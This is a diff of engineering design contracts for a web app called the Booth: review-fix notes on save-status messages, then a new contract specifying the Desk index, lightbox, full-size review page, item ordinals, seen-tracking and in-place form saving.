- `test_reveal_names_follow_their_words` (browser): by accessible role and name, before and after a click, on a tile, the review, a compare side, a doc page and Reveal all. The "on" look of Reveal all still computes after the click, so the look did not silently go with the attribute.
|
||||
- `test_reveal_glyphs_are_hidden_from_the_name` (markup): every reveal control's glyph is inside `aria-hidden="true"`, and no reveal control carries `aria-label` or `aria-pressed`.
|
||||
|
||||
### booth-dev's note — a refused batch is not buried by an unrelated save
|
||||
|
||||
S5b made a one-form failure outlive an unrelated "Saved." (R4) by keeping its key in `unsent`. A refused BATCH's keys never entered `unsent`. So after a batch said "Saved 1 of 2. Not saved: a2 (…)", an unrelated flag's "Saved." replaced those words while a2's pick was still unsent on the page.
|
||||
|
||||
- **Every failure that stays is remembered with its own words.** `unsent[key]` holds the words said when that form failed: S5b's stay message for a one-form failure, and the batch's whole refusal sentence for each refused form of a batch. The anchored refusal line in `runAll` is unchanged: the refused forms are the batch's forms the server did not take.
|
||||
- A refusal sentence cannot outlive part of what it names. A refused pick stays dirty (a radio cannot be un-picked), so the next press on any pick re-sends every refused pick in one batch. That batch's own words then replace the old sentence for every form it refused, and a form it saved leaves `unsent`.
|
||||
- **`landed()` says them again.** It says every standing failure's words: each distinct message once, in the order they failed, while its form is still on the page. It says them in place of "Saved.", as S5b does for a one-form failure. A new press on the refused form clears it, as today.
|
||||
- **And no warning buries another.** Every warning the client says (a one-form failure, a partly refused batch, "you changed it while it was saving", a page that changed or would not refresh) says the other standing failures first, each once, in the order they failed. "Other" means those not of the forms the warning is about.
|
||||
- *Falsifiable:*
|
||||
- `test_a_batch_refusal_outlives_an_unrelated_save` (browser, written first). A batch with a2 refused, then an unrelated flag lands. Past the 2s beat, the line still says "Not saved: a2", in the warn tone.
|
||||
- `test_two_standing_failures_are_both_said_once_each` (browser): a note that could not be saved, then a batch with a2 and a3 refused, then an unrelated flag. At the refusal and after the flag, the line says the note's words once and the batch's words once, in that order.
|
||||
- `test_a_later_failure_does_not_bury_an_earlier_one` (browser): a batch refusal, then a note that fails. The line says the refusal first, then the note's failure.
|
||||
- The negative control is existing: `test_a_later_save_clears_a_stale_not_saved_line`, where a2's own press clears the words.
|
||||
- S5b's `test_an_unrelated_save_does_not_bury_a_failure` holds unchanged, with its row re-anchored.
|
||||
|
||||
### Folded from the heid contract review
|
||||
|
||||
BEINKA (panel 4/4, thread `01M3NZJNX8D3BEYD48M9K3MV3Q`): 24 flags, 9 themes and 3 solos. All were prose the tests left open, and none changed behaviour. The text above now states:
|
||||
- the fallback arithmetic, with a new test (`test_the_rail_padding_falls_back_with_scripts_off`);
|
||||
- that "the tile" is the element itself, and how the tile, focus and cursor rules meet S5b's fallback;
|
||||
- that the helper's cases are a union and it answers only whose key it is;
|
||||
- that doc.html is unchanged;
|
||||
- where the picture's size comes from, and every path to no size;
|
||||
- how Reveal all's tail leaves its name;
|
||||
- why a batch's refusal sentence cannot outlive part of what it names;
|
||||
- the measured pixel-identity of the doc bar.
|
||||
|
||||
**From this slice's own falsifier runs:**
|
||||
- The first "one row wide" row mutated the fold's flex basis, which a bar that does not wrap simply shrinks. It stayed green. The row now takes the bar's flex away.
|
||||
- "Reveal all loses its on look" proved in one run and went vacuous in the full gate. The test read the border under the pointer that had just clicked, and `:hover` draws the same border as the "on" look. The pointer now leaves before the read, and the row proved 3 runs of 3.
|
||||
|
||||
### Folded from the heid bug-hunt
|
||||
|
||||
HRÖSKVA (panel 4/4, thread `01M3P0ZPRSASFSE5K3PR4NTQP6`): 18 findings in 11 rows.
|
||||
|
||||
**Fixed.** The text above states each fix; each has its test and its row.
|
||||
- R1: the cursor skips a doc closed with its ✕, and it is held as an item.
|
||||
- R2: the rail's height follows the live rail after a save.
|
||||
- R3: no warning buries a standing failure.
|
||||
- R5: Enter follows `view?f=`.
|
||||
- R7: the change time is in the size cache's key.
|
||||
- R8: Escape passes a focused player.
|
||||
- R9: the rail's own controls cancel the padding.
|
||||
- R10: `n` opens a closed doc's fold.
|
||||
|
||||
**Refuted or accepted, with the reason.**
|
||||
- **R4** (a shared refusal sentence names a pick that was later saved): it cannot happen through the UI. See the batch paragraph above: refused picks stay dirty and are re-sent together.
|
||||
- **R6** (no pixel cap on the size read): a header's size costs nothing new. Chrome takes the same header's size for the picture whether or not the tile carries it. Measured: a PNG whose header says 8×200000 and whose body is garbage draws a 10,000,002px tall tile with the attributes and without them. A booth writer can already post that picture. The read's cost is measured above, and the gallery route runs off the event loop.
|
||||
- **R8, second face** (Escape from a focused control clears the cursor): unchanged from before S5c, and nothing the control uses.
|
||||
- **R11** (after a swap the cursor is a class until the next key): by design. S5b leaves focus where the operator put it, and it restores focus to the cursor tile only when that tile held it. The invariant is that a focused tile is the cursor, not that the cursor always holds focus.
|
||||
- **The cached None** (R7's second face): a transient open failure is cached until the file changes. It costs the placeholder, which is today's markup.
|
||||
|
||||
### Existing tests and rows this slice edits
|
||||
|
||||
- **booth-dev's rows, re-anchored to the same failure** (their old anchors are gone):
|
||||
- `r2b.toml` "Space on a focused review button moves to the next item", now in the helper;
|
||||
- `r3.toml` "C3 a held modifier does not make the keys inert", "C3 Space on a focused control steps instead of pressing it" and "C3 Space on a focused player steps the pair", now in the helper;
|
||||
- `r2c.toml` "the stage reveal shows with scripts off", now anchored on `id="vreveal" hidden>`, since the button lost its `aria-label`.
|
||||
- **This contract's own rows, re-anchored:**
|
||||
- `antislop.toml` "S3 the doc bar squeezes the name again" and "S5b an unrelated save buries a failure";
|
||||
- after the bug-hunt fold, the S5b rows "a batch that lands says nothing", "the reload is not asked again at the beat", "a refresh failure after a 204 says it could not save" and "an edit made while saving is called Saved.", whose lines now go through `also()`.
|
||||
- **No existing assertion changes.**
|
||||
@@ -0,0 +1,637 @@
|
||||
---
|
||||
contract_version: "0.2-BUILT"
|
||||
status: "BUILT 2026-09-23 on design-dev/svos-retheme (C1-C7, TDD), awaiting heid code-review and bug-hunt before the hand-over to booth-dev. PROPOSED 2026-09-23 by design-dev. Ruled by the operator the same day in the `flow` mark on booth-flow-concepts (direction a_b; compare MODE to be built in this arc; voice plain; emblem no), relayed via Miranda → booth-dev, verbatim at docs/rulings/. Compare mode is NOT in this contract: it lands after this one as r3, as a view toggle over the same item record."
|
||||
module: "booth.app + booth.items + templates (the review flow)"
|
||||
purpose: "Make the Booth a place where judgment happens rather than a place where files are shown. The operator's bar is 'did anything change when I opened it'. A reskin cannot clear that bar; this contract changes the flow. There are three surfaces and one plumbing change. THE DESK: the index triaged by what needs the operator. THE LIGHTBOX: a booth page with the set on the left and the verdict beside it. THE REVIEW: full size with the judgment on screen, a filmstrip, and seen-tracking. The plumbing is IN-PLACE JUDGMENT: a mark POST that does not reload the page or eject you from full size."
|
||||
depends_on:
|
||||
- "booth.items.booth_items + Item (INV-1: the one resolver). Item gains `ordinal`, derived there and nowhere else."
|
||||
- "booth.items.image_chain (the zoom ring). SUPERSEDED for the review route by `review_chain`; image_chain stays importable and unchanged for its existing callers and tests."
|
||||
- "booth.app._newest_mtime (THE definition of activity — booth-dev, 2026-09-23). It feeds lifetime; the Desk no longer sorts by it (amended 2026-09-23, §3). The Desk's 'landed since you looked' is a DIFFERENT question and gets a DIFFERENTLY NAMED helper; see INV-5."
|
||||
- "booth.app.record_view / VIEW_MARKER (`.viewed`, U4). The Desk reads its mtime to answer 'new since you looked'."
|
||||
- "booth.app.hold_read / hold_reason / open_marks (INV-2 of U2: the one openness predicate). 'Needs you' is `open_marks(...)` non-empty, or `hold_reason(...) == \"unreadable\"` (C4); nothing else."
|
||||
- "booth.marks.as_dict, set_flag, write_note, answer_pick, delete_mark (the write API, UNCHANGED)."
|
||||
- "booth.app._mark_redirect (the 303 landing). Extended with one new `back` value; the existing two landings stay byte-identical."
|
||||
- "booth.benches.read_benches, booth.links.parse_link_entries / order_for_display / booth_target (the Desk's side column)."
|
||||
language: "python + jinja + a little javascript"
|
||||
complexity: "high"
|
||||
estimated_loc: 900
|
||||
confidence: 0.6
|
||||
used_by:
|
||||
- "booth.app.index (the Desk)"
|
||||
- "booth.app.booth_view (the lightbox)"
|
||||
- "booth.app.booth_view_file (the review)"
|
||||
- "booth.app.booth_answer / booth_note / booth_flag / booth_unmark (in-place judgment)"
|
||||
touches:
|
||||
- "booth/items.py (Item.ordinal; review_chain; read_seen/SEEN_FILE)"
|
||||
- "booth/app.py (list_booths fields; index sections; booth_view verdict data; booth_view_file review context + record_seen; wants_json + 204; _mark_redirect `back=view`)"
|
||||
- "booth/templates/index.html (REWRITTEN as the Desk)"
|
||||
- "booth/templates/booth.html (restructured: two panes; the marks panel moves into the verdict aside; tiles carry ordinals; inline group headers)"
|
||||
- "booth/templates/view.html (REWRITTEN as the review: stage, rail, filmstrip, tape)"
|
||||
- "booth/templates/_marks.html (renders inside the aside; flag list ordered by ordinal)"
|
||||
- "booth/templates/base.html (layout CSS; the in-place script)"
|
||||
- "booth/templates/doc.html (NOT restructured — a doc keeps its reading page; named because it was checked)"
|
||||
- "booth/static/embed.js (NOT TOUCHED — the verbatim path keeps its author's layout; requirement 6)"
|
||||
- "tests/test_booth.py (THREE assertions change, all in test_index_separates_kept_from_ephemeral: L785-786, the kept-lane presence pair, and L789, kept-before-ephemeral. L810-811, the absence pair, survive unchanged. See 'Assertions that change')"
|
||||
- "tests/test_flow.py (NEW)"
|
||||
- "tests/test_embed_browser.py (ONE test changes: test_the_keyboard_flag_actually_submits expected a navigation, which is the defect R2 removes. See 'Assertions that change')"
|
||||
assumptions:
|
||||
- "ONE VIEWER. `.seen` records what has been seen at full size, not WHO saw it. ROADMAP parks 'per-viewer state (who has seen what)' on the one-viewer premise; this contract keeps that premise and does not reopen the parked item."
|
||||
- "EVERY JUDGMENT WORKS WITH JAVASCRIPT OFF. Each control stays a plain <form method=post>. The in-place behaviour is additive and falls back to today's 303."
|
||||
- "THE VERBATIM PATH IS OUT OF SCOPE. A booth with its own index.html is served as the author wrote it (requirement 6). The Desk links to it; the lightbox never renders for it."
|
||||
- "NO THUMBNAILS. Tiles, the filmstrip and the Desk's preview strip use the original files with loading=lazy. Progressive loading stays parked until page weight is measured."
|
||||
open_questions:
|
||||
- "ANSWERED BOOTHS LOSE THEIR HOLD (raised by booth-dev in b46ac02). A booth is held while its question is open, so it becomes sweepable the moment it becomes a decision record. The flow question: should an answered pick hold its booth for a grace period, or should the record live elsewhere? NOT SOLVED HERE, because it is a lifetime-policy change and this contract changes no lifetime rule. Raised separately."
|
||||
- "KEY 1–9 TO ANSWER A PICK from the review rail. It appeared in the concept mock. Dropped from this contract: multi-question picks make the mapping ambiguous, and the operator ruled the flow, not the keymap. Parked."
|
||||
---
|
||||
|
||||
# R2 — the review flow: the Desk, the lightbox, the review
|
||||
|
||||
## The requirements this answers (from the round-2 README, uncorrected by the operator)
|
||||
|
||||
| # | requirement | answered by |
|
||||
|---|---|---|
|
||||
| 1 | show me what needs me | the Desk's *needs you* section |
|
||||
| 2 | picking winners is the main judgment | the lightbox's flag tray; F in the review |
|
||||
| 3 | flag without losing my place | in-place judgment + `back=view` |
|
||||
| 4 | position is identity (within the set as it is now — not a durable id) | `Item.ordinal`, printed on every tile |
|
||||
| 5 | the question stays beside the work | the verdict aside (sticky) |
|
||||
| 6 | reports keep their author's layout | verbatim path untouched |
|
||||
| 7 | listening sets are real | `review_chain` includes audio and video |
|
||||
| 8 | lifetime is not an organising principle (it is still SHOWN as a fact on each row; it no longer GROUPS or SORTS) | the Desk drops the kept/ephemeral lanes |
|
||||
|
||||
## Terms used below
|
||||
|
||||
- **Reticle**: the SVOS selection mark in base.html — four corner brackets drawn
|
||||
inside a box. It marks the one current or selected thing and nothing else.
|
||||
- **Tape**: a row of small segments, one per item in the review ring, each
|
||||
showing *seen*, *flagged* or *current*.
|
||||
- **Stage**: the area of the review page where the artifact itself renders.
|
||||
- **All Booth state files are dotfiles.** That covers `.marks.json`
|
||||
(MARKS_FILE), `.viewed`, `.blurred`, `.seen`, `.forever`, `.pins`,
|
||||
`.booth.json` and every `*.lock`. "Non-dot entries" means the posted content
|
||||
and nothing the Booth or the operator wrote.
|
||||
|
||||
## Components
|
||||
|
||||
### C1 — `Item.ordinal` (items.py)
|
||||
|
||||
`ordinal: int` is the item's 1-based position in `booth_items(booth)`, i.e. in
|
||||
`sorted(rel)` order over **all** items. It is assigned in the resolver loop, so
|
||||
no route derives it.
|
||||
|
||||
- `ordinal` is **appended** as the dataclass's last field, never inserted.
|
||||
Mid-dataclass insertion is a positional-construction break, and `group` has
|
||||
already had that conversation.
|
||||
- The resolver's `quote()` guard on non-UTF-8 names stays exactly as it is. It
|
||||
looks like a stray `try` around a discarded result, but it is what keeps one
|
||||
0xff filename from taking down the index for every booth.
|
||||
- An item skipped by that guard takes no ordinal, so ordinals stay contiguous
|
||||
over the items that render.
|
||||
|
||||
- **A filter never renumbers.** Under `?filter=flagged` a tile still shows the
|
||||
number it has in the whole set. That is the point: "#07" is a property of the
|
||||
item, not of the view.
|
||||
- **A new file renumbers everything after it.** That is honest, and it matches
|
||||
the order: the operator's positional references are to the set as it is now.
|
||||
|
||||
### C2 — `review_chain` and `.seen` (items.py, app.py)
|
||||
|
||||
- **`review_chain(items)`**: the rels of items whose kind is image, video or
|
||||
audio, in item order. ONE LINE: *the item order filtered to media.* It
|
||||
replaces `image_chain` as the review route's prev/next ring.
|
||||
- It is a **declared change** to the zoom-ring rule. Today's ring is images
|
||||
only. A booth mixing images and audio now rings through both, in set order.
|
||||
- `image_chain` stays for its callers and tests.
|
||||
- **`SEEN_FILE = ".seen"`**: a UTF-8 JSON array of rels. Not one rel per
|
||||
line, `.blurred`'s shape: a file name may contain a newline, and a line format
|
||||
would split one such rel into two, neither of them real.
|
||||
- Written by `record_seen(booth, rel, items)` from the review route, below the 404s
|
||||
and gated on the item record — the same gate `record_view` has.
|
||||
- Each write rewrites the whole file: the previous set plus `rel`, minus
|
||||
rels no longer in `booth_items`, sorted. It is deduplicated and pruned, so
|
||||
it never grows past the booth's item count.
|
||||
- Atomic replace, per the Booth's CLAUDE.md invariant 5 ("sidecar writes are
|
||||
atomic"), not this contract's INV-5.
|
||||
- Seen is keyed by rel. A file replaced at the same path stays seen; a
|
||||
deleted file drops out at the next write, and every count below
|
||||
intersects with the current `review_chain`.
|
||||
- **The review route ALSO calls `record_view` (existing U4 behaviour,
|
||||
unchanged).** So reviewing a booth at full size refreshes "you looked" for
|
||||
the Desk exactly as opening its grid does. `.viewed` and `.seen` never
|
||||
disagree about whether you looked at the booth; `.seen` only adds WHICH
|
||||
items.
|
||||
- NEVER RAISES, like `record_view`: failing to record a look costs the
|
||||
marker, not the page.
|
||||
- `read_seen(booth) -> set[str]` is lenient and NEVER RAISES. It opens without
|
||||
following a symlink and without blocking, reads only a regular file of at
|
||||
most 1 MiB, and keeps only the array's string members. Anything else — a
|
||||
link, a FIFO, a directory, an oversized, malformed or too-deeply-nested
|
||||
file — reads as the empty set. `.seen` sits in an agent-writable directory, and a planted FIFO
|
||||
must not hang the review route.
|
||||
- `items` is the route's own `booth_items` result. It is passed in so that the
|
||||
prune ("minus rels no longer in `booth_items`") costs no second walk.
|
||||
- **Seen is UI state, not judgment.** It is not exposed in `marks.json` and it
|
||||
holds nothing.
|
||||
- It adds no lifetime RULE. Being a dotfile, its write does move
|
||||
`_newest_mtime`. So does the `.viewed` write on the same request, so a
|
||||
review page ages a booth exactly as it does today.
|
||||
|
||||
### C3 — in-place judgment (app.py, base.html)
|
||||
|
||||
**`wants_json(accept: str | None) -> bool`** takes the raw `Accept` header, so
|
||||
it is a pure function a test can call directly. It is True **only** when the
|
||||
header, split on commas, contains an entry whose media type, parameters stripped, is
|
||||
exactly `application/json` and whose q-value is absent or greater than 0.
|
||||
|
||||
- Absent, empty, `*/*` or `application/*` → False.
|
||||
- `application/json;q=0` → False. A client that explicitly refuses JSON gets
|
||||
the redirect.
|
||||
- A near miss such as `application/jsonx` → False.
|
||||
- **Every entry is parsed before anything is decided.** One unparseable
|
||||
entry anywhere, before or after a good one, makes the whole header False.
|
||||
- Any header that fails to parse → False. A q-value that is not a finite
|
||||
number (`q=nan`, `q=inf`) fails to parse.
|
||||
- **It fails toward the 303.**
|
||||
|
||||
The four mark routes (`/answer`, `/note`, `/flag`, `/unmark`) perform the same
|
||||
write as today, then:
|
||||
|
||||
- `wants_json` → **204 No Content**.
|
||||
- otherwise → today's `_mark_redirect(...)`, **byte-identical**: same status,
|
||||
same `Location`, same body.
|
||||
|
||||
**`back=view`** is a new landing for `_mark_redirect`, carried by the review
|
||||
route's forms together with `f=<rel>`. It lands on
|
||||
`/b/<name>/view?f=<quote(rel)>#rail`. This fixes the JS-off bounce too:
|
||||
today's zoom flag form carries no `back`, so it lands on the gallery.
|
||||
|
||||
- `back=view` lands on the review only when `f` names an item in
|
||||
`review_chain`, i.e. a media item. For anything else (a doc, a missing rel,
|
||||
an empty `f`) the landing falls back to the booth page, exactly as a form
|
||||
with no `back` does today. `doc.html` carries no forms, so no shipped page
|
||||
sends `back=view` with a doc.
|
||||
- The URL is built server-side from `name` + `quote(f)`, never echoed, so this
|
||||
is not an open redirect.
|
||||
|
||||
**The client**: one small script in base.html, bound to forms marked
|
||||
`data-inplace`.
|
||||
|
||||
1. POST the form with `Accept: application/json`.
|
||||
2. On 204, GET the current URL and replace **every** element carrying
|
||||
`data-region="<id>"` with the same-id element from the response.
|
||||
- The rule is "every region whose content can depend on marks is a
|
||||
region".
|
||||
- On the lightbox: the verdict aside, each tile, the rail (its filter
|
||||
counts change when you flag), and the header's open count and lifetime
|
||||
line (`booth-status`).
|
||||
- On a booth with marks but no set: the panel (`marks-panel`).
|
||||
- On the standalone marks page: the header's open count (`booth-status`)
|
||||
and the panel (`marks-panel`), one region around both its states so
|
||||
answering the last mark away swaps in the empty state.
|
||||
- On the review: the rail, the filmstrip and the tape.
|
||||
- The stage is never a region: replacing it would restart a playing video
|
||||
or audio track.
|
||||
- A TILE (`item-*`) absent from the response is left alone and never
|
||||
deleted. Deleting it would shift every tile after it under the reader's
|
||||
eye. It is marked `is-stale` so it does not pass for current:
|
||||
un-flagging under `?filter=flagged` is the case. The next navigation
|
||||
drops it.
|
||||
- Any OTHER difference in structure — a non-tile region in the response
|
||||
that the page lacks, or one the page has that the response lacks — or a
|
||||
page with no region to swap at all, is not patched: the script reloads
|
||||
with a GET, so what you see is the server's truth.
|
||||
- The swap also carries the per-viewer state a reload would have reset
|
||||
but an in-place save must not:
|
||||
- live media whose src is unchanged;
|
||||
- a revealed blur;
|
||||
- a closed doc;
|
||||
- disclosures the reader opened or closed;
|
||||
- every DIRTY control: a half-typed or edited note, a radio picked and
|
||||
not yet sent.
|
||||
|
||||
All of it is matched by IDENTITY, never by position: a form by its
|
||||
action and its hidden `ask`/`target`/`mark`/`f` fields, a control by its
|
||||
form plus its name (plus its value for a radio or checkbox), a disclosure
|
||||
by the pick or form it holds. A flag that adds a tray row above a draft
|
||||
must not move the draft into the wrong box. The form just sent is the
|
||||
exception: its fields come back as the server rendered them, and its
|
||||
disclosure comes back folded — UNLESS it changed after the press, when it
|
||||
carries like any unsent form (amended 2026-09-27; a pick changed
|
||||
mid-flight came back as the saved copy of the earlier one). "Just sent"
|
||||
is the form's IDENTITY plus its fields as they stood at the press, never
|
||||
the DOM node: a queued save whose node an earlier swap replaced is still
|
||||
recognised, where a node test missed it and carried a saved note's text
|
||||
back as a draft. A sent form that changed after its press is carried
|
||||
against what it SENT, not its old defaults (amended 2026-09-28): an
|
||||
answer set back mid-flight to the value the page first showed would
|
||||
otherwise read as untouched, and the swap would put the saved value over
|
||||
the operator's last word.
|
||||
3. **Saves are SERIALIZED.** Each save runs its POST, its GET and its swap
|
||||
before the next begins, so an older snapshot never lands after a newer one
|
||||
(three quick flags show three flags). A form already queued or in flight
|
||||
ignores another submit: a double-click writes one note, not two. "In flight"
|
||||
is keyed by the form's IDENTITY (the same action + hidden-field key the
|
||||
carry uses), never marked on the DOM node, because a queued save's swap
|
||||
replaces the node with a fresh copy (amended 2026-09-27).
|
||||
3a. **Several picks at once (amended 2026-09-27).** A pick form is a
|
||||
`data-inplace` form carrying a hidden `ask` field. It is **dirty** when any
|
||||
control in it differs from its server-rendered default (`checked` vs
|
||||
`defaultChecked`, `value` vs `defaultValue`). A submit on a pick form while
|
||||
ANOTHER pick form of the same action is dirty sends every dirty pick form
|
||||
NOT already in flight — the pressed one only if it is dirty.
|
||||
- A form in flight still counts as "another dirty form", so a press on a
|
||||
clean pick during a batch is an empty batch: a no-op, never the blank
|
||||
one-form POST whose 400 would take step 4 mid-save.
|
||||
- One POST per form, to its own action, with its own fields read at the
|
||||
moment of the press, one after another in DOCUMENT ORDER of the forms. A
|
||||
refused POST does not stop the ones after it.
|
||||
- None refused: ONE GET and ONE swap, in which every form sent counts as
|
||||
"the form just sent": its fields come back as the server rendered them,
|
||||
its disclosure folded.
|
||||
- Any refused: ONE GET and ONE swap in which only the forms the server
|
||||
TOOK count as sent, so everything else carries by identity — the refused
|
||||
pick's own input and any draft on the page included — then the status
|
||||
line says how many saved and names each pick that did not, with the
|
||||
reason. (Nothing saved at all: no GET, just the words.) A pick withdrawn
|
||||
under the page has no form in the fresh page to carry into; the reason
|
||||
says so. This is the same rule as the verbatim half: a refusal never
|
||||
clears what the operator entered.
|
||||
- **A batch never reloads.** Where step 2 would reload — a failed GET, or a
|
||||
fresh page whose structure changed — a batch says so in the status line
|
||||
("reload to see it") and keeps the page, because a reload would take
|
||||
every unsent draft with it. Step 4's say-and-reload stays the one-form
|
||||
path's alone.
|
||||
- The status line is cleared when the next save starts, so a "not saved"
|
||||
never outlives the save that fixes it.
|
||||
- With no other dirty pick form, the submit takes steps 1–3 exactly as
|
||||
before.
|
||||
|
||||
Why: C3 already CARRIED an unsent pick across another save, so it survived
|
||||
— but it was never SAVED, and pressing the submit of a BLANK pick got a
|
||||
400, whose failure reload wiped every one. The operator's report
|
||||
(2026-09-27, relayed by infra-ops): one submit on a page must save every
|
||||
answer he filled in. The verbatim half of the same fix is U3's "Submitting
|
||||
several asks at once"; the two surfaces share the dirty rule, the order and
|
||||
the refusal rule, and differ only where their machinery does (this one
|
||||
swaps in place; the verbatim page reloads when nothing is left unsaved).
|
||||
*Falsifiable* (`tests/mutations/r2_submit_all.toml`): ignore the other pick
|
||||
forms and `test_one_submit_on_the_marks_page_saves_every_changed_pick`
|
||||
fails; send the pressed form even when blank and
|
||||
`test_pressing_a_blank_picks_submit_saves_the_others_and_skips_it` fails;
|
||||
stop at the first refusal, reload on one, or count a refused pick as sent,
|
||||
and `test_a_refused_pick_in_a_batch_costs_only_itself_and_clears_nothing`
|
||||
fails; stop counting a form in flight as dirty and
|
||||
`test_pressing_a_clean_pick_during_a_batch_sends_nothing` fails; key "in
|
||||
flight" on the DOM node and
|
||||
`test_a_pick_in_flight_stays_in_flight_across_another_saves_swap` fails;
|
||||
leave the status line up and `test_a_later_save_clears_a_stale_not_saved_line`
|
||||
fails; reload when the refresh fails and
|
||||
`test_a_batch_whose_refresh_fails_keeps_the_page` fails; count a sent form
|
||||
as sent after it changed and
|
||||
`test_a_change_to_a_sent_pick_during_the_flight_is_kept` fails; count no
|
||||
form as sent and `test_a_saved_notes_box_comes_back_empty` fails; measure
|
||||
a sent-then-changed form against its old defaults and
|
||||
`test_a_sent_pick_set_back_to_its_first_value_mid_flight_is_kept` fails.
|
||||
4. **The script never re-POSTs.** A retry after a lost response would re-apply
|
||||
the judgment: a duplicate note, or a re-dated answer.
|
||||
- ⚠ **SUPERSEDED IN PART by `as_antislop.contract.md` S5b (merged
|
||||
2026-09-28, `0233ca6`)**, which owns the status line and the failure
|
||||
path from there on. What changed: the status line is never `hidden` (it
|
||||
floats, and every save says "Saving…" / "Saved." with a warn tone for a
|
||||
failure); and a failed one-form save reloads ONLY when no in-place form
|
||||
holds a draft (the sent one excepted while it still equals its press),
|
||||
re-checked at the beat. Otherwise it says so and keeps the page. Leaving
|
||||
a page with an unsent draft asks first. What did not change: no re-POST,
|
||||
ever, and the words are about the script's own requests only.
|
||||
- As first written: on a non-204 HTTP response, or a network failure, it
|
||||
writes a fixed message into the page's server-rendered status element
|
||||
(`data-region="status"`, via textContent). After a beat (0.9 s, so the
|
||||
words can be read) it reloads the page with a GET, so what you see is the
|
||||
server's truth.
|
||||
- The one case where a non-JS submit happens is a script that cannot run at
|
||||
all. That is the plain form.
|
||||
|
||||
**The server renders every state; the script only places it.** This is U3's
|
||||
rule — a second renderer in JavaScript would be the same bug in a new language.
|
||||
|
||||
### C4 — the Desk (index.html, app.index, list_booths)
|
||||
|
||||
`list_booths` gains five fields, all read in the one pass it already makes:
|
||||
|
||||
- **`open_since`**: the `created` of the OLDEST open pick in the booth, or
|
||||
None. Computed via `open_marks`, INV-2.
|
||||
- `Mark.created` is a STRING. It is parsed with `datetime.fromisoformat`,
|
||||
never compared lexically: two ISO stamps with different offsets, or a
|
||||
legacy-import stamp, sort wrong as text.
|
||||
- An unparseable stamp sorts AFTER every parseable one, and name breaks the
|
||||
tie.
|
||||
- **`flags`**: the number of CURRENT items carrying a READABLE flag mark,
|
||||
shown on every Desk row that has any — `flagged_targets(marks)` intersected
|
||||
with the booth's item rels. `flagged_targets(marks)` is the ONE flag
|
||||
predicate. The Desk, the tray, the orphan list, the rail's `flagged` filter,
|
||||
the tiles, the filmstrip, the tape and the review button all read it, and an
|
||||
unreadable flag entry counts nowhere. A flag whose file
|
||||
has since been deleted is an ORPHAN: it counts on no Desk row, and the tray
|
||||
lists it (C5) so it can be cleared.
|
||||
- **`landed_at`**: the newest mtime among the booth's CONTENT — its regular
|
||||
files and symlinks with no dot-component in their path, each read by
|
||||
`lstat`. **Deliberately not `_newest_mtime`** (INV-5). Five refinements,
|
||||
each load-bearing:
|
||||
- **Files only, never directories.** Creating any dotfile (`.viewed`, the
|
||||
marks file's temp-and-replace) bumps the booth directory's own mtime, so
|
||||
counting directories would make the flag you set after looking read as a
|
||||
delivery.
|
||||
- **A symlink counts by its OWN mtime** — when it was placed — never its
|
||||
target's. A link to a busy file outside the booth must not make the booth
|
||||
read as newly delivered.
|
||||
- **An empty booth landed at 0.0.**
|
||||
- **One unreadable entry is skipped.** Reading the whole booth as landed NOW
|
||||
for one bad entry would pin it in 'new' forever.
|
||||
- **A booth whose walk cannot run at all reads as NOW.** It is shown as new
|
||||
rather than hidden as old.
|
||||
- **`viewed_at`**: the mtime of `.viewed`, or None.
|
||||
- **`preview`**: up to 4 image items as `(url, blurred)`, first four in item
|
||||
order. A blurred one renders blurred, the same rule as the cover.
|
||||
- A booth with no images (an audio set, a report) shows today's kind
|
||||
placeholder instead (`♪ audio`, `▦ page`, `▶ video`, `◆ files`).
|
||||
- These are the original files displayed small with `loading=lazy`. No
|
||||
thumbnail is GENERATED anywhere in R2; see Out of scope.
|
||||
|
||||
**The index renders three sections, always in this order:**
|
||||
|
||||
1. **Needs you** — `marks_open > 0`, **or** `hold == "unreadable"`.
|
||||
- `marks_open` counts `open_marks(...)`, which only ever returns PICKS. A
|
||||
booth whose marks are only flags or notes is the operator's own judgment,
|
||||
not a question to them, so it is NOT here.
|
||||
- A damaged `.marks.json` holds its booth but is not open by `open_marks`
|
||||
(errored picks are not open). Somebody has to fix it, so it must not hide
|
||||
in 'everything else'. It renders with the existing "marks unreadable"
|
||||
lifetime line.
|
||||
- Ordered by `(open_since, name)`, oldest question first. A booth held
|
||||
`unreadable` has no `open_since` — even when a readable pick sits beside
|
||||
the damage, because the damage is the thing to fix — and sorts after every
|
||||
booth that has one.
|
||||
2. **New since you looked** — `not in_needs_you and (viewed_at is None or
|
||||
landed_at > viewed_at)`. Ordered by `(-landed_at, name)`, newest first.
|
||||
3. **Everything else** — last UPDATED first: `(-landed_at, name)`, the date
|
||||
the row shows as "updated". **Amended 2026-09-23 by the operator** ("last
|
||||
activity can just be last time the booth was updated, not necessarily
|
||||
operator's last activity"). This section used to be `list_booths`' order,
|
||||
`(mtime, name)` descending over `_newest_mtime`, and that clock counts a
|
||||
look: opening a booth moved it up, and a script that fetched every booth
|
||||
(a post-deploy check) collapsed the whole section into reverse name order.
|
||||
- Flagging, viewing or blurring a booth no longer moves it. Only content
|
||||
does, which is also what moves a booth into (2).
|
||||
- `list_booths` keeps its own `(mtime, name)` order for its other readers,
|
||||
and `_newest_mtime` still feeds lifetime (INV-5). Only the Desk's
|
||||
section stopped reading it.
|
||||
|
||||
The side column holds:
|
||||
|
||||
- **Benches**: `read_benches(data_dir)`, non-retired, in the registry's
|
||||
existing order. Its error return renders as an error line, never as an empty
|
||||
list. This is the booth page's rule: damaged and absent must not render the
|
||||
same.
|
||||
- **Agent-written URLs become links only when they are `http(s)`.** A bench
|
||||
URL or a bookmark with any other scheme renders as plain text. Autoescape
|
||||
stops markup, not a `javascript:` href.
|
||||
- **Bookmarks** come from the board the CLI writes: the booth named by
|
||||
`BOOTH_LINKS_BOARD`, default `links`. They are read through the same
|
||||
never-raising path as `_board_rows`, which gets factored so both callers
|
||||
share it.
|
||||
- Shown: rows that are not booth URLs (`booth_target(url) is None`).
|
||||
- Order: pinned first, then newest (`order_for_display`).
|
||||
- Capped at 8, with a link to the full board.
|
||||
- **Pickup**: the existing upload form, unchanged, moved from the page head.
|
||||
|
||||
**An empty section does not render** — no heading, no box. This is the
|
||||
load-bearing negative half of the kept-lane pair it replaces
|
||||
(`'class="grid kept-grid"' not in html`), carried forward into test_flow.py as
|
||||
a pair: present when it has rows, absent when it has none. It applies to each
|
||||
of the three sections and to the Benches and Bookmarks panels.
|
||||
|
||||
The kept/ephemeral lanes are **removed**: 23 of 24 live booths are kept, so the
|
||||
lanes sort nothing. Kept status and the lifetime line (`_lifetime.html`,
|
||||
unchanged) remain on every row.
|
||||
|
||||
